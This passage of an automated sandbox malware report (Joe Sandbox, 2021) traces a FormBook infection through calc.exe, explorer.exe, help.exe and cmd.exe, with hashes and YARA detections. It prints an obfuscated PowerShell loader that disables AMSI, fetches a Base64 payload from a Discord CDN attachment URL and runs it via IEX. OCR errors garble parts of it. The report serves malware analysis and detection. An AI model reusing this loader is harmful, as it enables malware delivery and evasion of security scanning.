Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.
Autom'+'atio’+'n.A'+'m'+'si'+'Utils');$835FFE1926="445662522057526 3174452554847
;$9FEOAD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace '
$58FB808063=$8B0111F552.GetField($9FEOAD5C66,' Non replace("\,'Pub’)+lic,S'+'ta
tic');$58FB808063.SetValue($null, $true);($A72FIB815A=$A72FIB815A=Write-Host 'EC4
AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C
3DEFAG3DEB58FC3FA9D22121674");$676544567888888888876545666778=@(91,82,
101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,8
3,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,
43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,3
9,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,5
0,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116
,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,1
01,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,
43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,
93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,
53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,5
7,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98
,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,12
0,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,4
0,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,5
4,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39
,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,
97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,
70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,4
5,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,5
0,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,5
3,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,6
8,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,
112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,11
0,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117
,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,
105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93
,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46
,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,4
4,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118
,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,1
14,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48
,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,
67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65
,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,1
16,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,11
1,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,53,56,55,57,51,51,50,50,
48,56,55,55,49,48,55,53,51,47,56,54,51,56,57,49,56,53,55,54,48,56,48,49,53,57,48,50,47,111
,97,100,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70
,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,
101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71
,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,
70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,7
0,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,
96,69,96,88);[System.Text.Encoding]::ASCII.GetString($67654456788888888887654566
6778)|I'E"X

0x7ff617cb0000
447488 bytes
95000560239032BC68B4C2FDFCDEF913

true
true
.Net C# or VB.NET
high

Show Windows behavior

Analysis Process: calc.exe PID: 5856 Parent PID: 5116

General

Start time:

Start date:

Copyright Joe Security LLC 2021
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Page 23 of 26



Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Windows\SysWOW64\calc.exe

true

{path}

0x920000

26112 bytes
0975EE4BD0O9E87C94861F69E4AA44BTA
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.342630046.0000000003140000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.342630046.0000000003140000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.342630046.0000000003140000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.341624374.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.341624374.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.341624374.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.342443102.0000000002F00000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.342443102.0000000002F00000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.342443102.0000000002F00000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3472 Parent PID: 5856

General

Start time: 17:59:48

Start date: 22/07/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

Copyright Joe Security LLC 2021

false

C:\Windows\Explorer.EXE

0x7ff693d90000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.333088696.00000000070E4000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.333088696.00000000070E4000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.333088696.00000000070E4000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

high

Show Windows behavior
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Analysis Process: help.exe PID: 3552 Parent PID: 3472

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:00:14

22/07/2021
C:\Windows\SysWOW64\help.exe
true
C:\Windows\SysWOW64\help.exe
0x1f0000

10240 bytes
09A715036F14D3632AD03B52D1DA6BFF
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000013.00000002.495738829.00000000026F0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000013.00000002.495738829.00000000026F0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000013.00000002.495738829.00000000026F0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000013.00000002.494603483.00000000001A0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000013.00000002.494603483.00000000001A0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000013.00000002.494603483.00000000001A0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000013.00000002.496106399.0000000002870000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000013.00000002.496106399.0000000002870000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000013.00000002.496106399.0000000002870000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 4344 Parent PID: 3552

General

Start time: 18:00:18

Start date: 22/07/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true

Ic del 'C:\WINDOWS\syswow64\calc.exe'
0x150000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

Show Windows behavior
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Analysis Process: conhost.exe PID: 3084 Parent PID: 4344

General

Start time: 18:00:19

Start date: 22/07/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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